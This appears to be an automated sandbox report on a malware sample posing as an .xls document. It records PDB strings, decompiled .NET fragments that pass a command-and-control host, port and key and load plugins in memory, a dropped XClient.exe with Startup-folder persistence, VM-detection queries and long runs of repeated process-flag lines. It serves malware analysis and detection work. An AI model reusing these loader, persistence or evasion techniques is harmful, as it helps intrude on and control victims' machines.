Source:	Binary string: Microsoft.VisualBasic.pdbRSDSc source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: HSDSDF32.pdb source: rDoc5633276235623657_xls.exe
Source:	Binary string: C:\Windows\RegAsm.pdbpdbAsm.pdb source: RegAsm.exe, 00000002.00000002.2653222752.0000000001215000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n0C:\Windows\mscorlib.pdb source: RegAsm.exe, 00000002.00000002.2659153420.0000000005A5A000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.pdb source: RegAsm.exe, 00000002.00000002.2659308931.0000000005BC0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: RegAsm.exe, 00000002.00000002.2659308931.0000000005BC0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\exe\RegAsm.pdba source: RegAsm.exe, 00000002.00000002.2659308931.0000000005BD6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Data.ni.pdb source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: System.Configuration.pdb source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: System.Xml.pdb source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: o.pdb source: RegAsm.exe, 00000002.00000002.2659153420.0000000005A5A000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: System.Numerics.ni.pdbRSDSautg source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: %%.pdb source: RegAsm.exe, 00000002.00000002.2659153420.0000000005A5A000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: mscorlib.pdb source: RegAsm.exe, 00000002.00000002.2659308931.0000000005BB0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2659153420.0000000005A5A000.00000004.00000010.00020000.00000000.sdmp, WER8A2C.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: RegAsm.exe, 00000002.00000002.2659308931.0000000005BD6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbhk@ source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: System.Drawing.pdb source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: System.Management.pdb source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: System.Xml.pdb@DHLPhl source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: System.Data.ni.pdbRSDS source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: System.Management.ni.pdb source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: System.Core.pdb source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: System.Transactions.pdb source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\exe\RegAsm.pdbE source: RegAsm.exe, 00000002.00000002.2659308931.0000000005BD6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: symbols\dll\mscorlib.pdbLb source: RegAsm.exe, 00000002.00000002.2659153420.0000000005A5A000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Runtime.Serialization.pdb source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: System.Core.pdbxm. source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: System.Transactions.ni.pdb source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: mscorlib.pdb246122658-3693405117-2476756634-1002_Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Servererver32 source: RegAsm.exe, 00000002.00000002.2653222752.0000000001215000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Numerics.pdb source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: System.Windows.Forms.pdbDN. source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: System.ni.pdb source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: System.Data.pdb, source: WER8A2C.tmp.dmp.9.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER8A2C.tmp.dmp.9.dr

Data Obfuscation

Source: rDoc5633276235623657_xls.exe, DyyVDbaRvM1YfIq9il.cs	.Net Code: Type.GetTypeFromHandle(KKr6hZkjvwWjdm9A4Z.bTWUCGjumGB3L(16777255)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(KKr6hZkjvwWjdm9A4Z.bTWUCGjumGB3L(16777256)),Type.GetTypeFromHandle(KKr6hZkjvwWjdm9A4Z.bTWUCGjumGB3L(16777253))})
Source: 0.2.rDoc5633276235623657_xls.exe.2dcb45c.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.rDoc5633276235623657_xls.exe.2dcb45c.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.rDoc5633276235623657_xls.exe.2dc2a1c.2.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.rDoc5633276235623657_xls.exe.2dc2a1c.2.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.rDoc5633276235623657_xls.exe.2dd3eb4.1.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.rDoc5633276235623657_xls.exe.2dd3eb4.1.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: 0.2.rDoc5633276235623657_xls.exe.2dcb45c.0.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 0.2.rDoc5633276235623657_xls.exe.2dcb45c.0.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 0.2.rDoc5633276235623657_xls.exe.2dcb45c.0.raw.unpack, Messages.cs	.Net Code: Memory
Source: 0.2.rDoc5633276235623657_xls.exe.2dc2a1c.2.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 0.2.rDoc5633276235623657_xls.exe.2dc2a1c.2.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 0.2.rDoc5633276235623657_xls.exe.2dc2a1c.2.raw.unpack, Messages.cs	.Net Code: Memory
Source: 0.2.rDoc5633276235623657_xls.exe.2dd3eb4.1.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 0.2.rDoc5633276235623657_xls.exe.2dd3eb4.1.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 0.2.rDoc5633276235623657_xls.exe.2dd3eb4.1.raw.unpack, Messages.cs	.Net Code: Memory

Source: rDoc5633276235623657_xls.exe

Static PE information: 0x9DC1522E [Fri Nov 14 00:19:58 2053 UTC]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0666773F push dword ptr [esp+ecx*2-75h]; ret	2_2_06667743
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_066638AD push es; ret	2_2_066638B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0668E798 pushad ; ret	2_2_0668E7A1

Source: rDoc5633276235623657_xls.exe, DyyVDbaRvM1YfIq9il.cs	High entropy of concatenated method names: 'D4r4O0AxSI', 'r0PUCGXjcJBvJ', 'creoiNvd7', 'jZiU8kt7k', 'yIEeUuogE', 'HNMMnrD0K', 'U6ZIpjiMV', 'TYIaeXNeW', 'rI3lmZ9FL', 'SuhhReBcy'
Source: rDoc5633276235623657_xls.exe, R2mIapWar4cwoqqx6Q.cs	High entropy of concatenated method names: 'IWZ4FNxMCV', 'X4o4BaXNNW', 'ReR4PkWY9i', 'XZO4yOqtpA', 'pcT48wm9UY', 'Y9l4jroko9', 'OY84tBcMwd', 'JrQ4qkE5mX', 'iRM4R10ean', 'AGe45CEX5X'

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Roaming\XClient.exe

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Hooking and other Techniques for Hiding and Protection

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: download (92).png

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\858CCD728664FC98EE47 66DBE3B90371FE58CAA957E83C1C1F0ACCE941A36CF140A0F07E64403DD13303

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
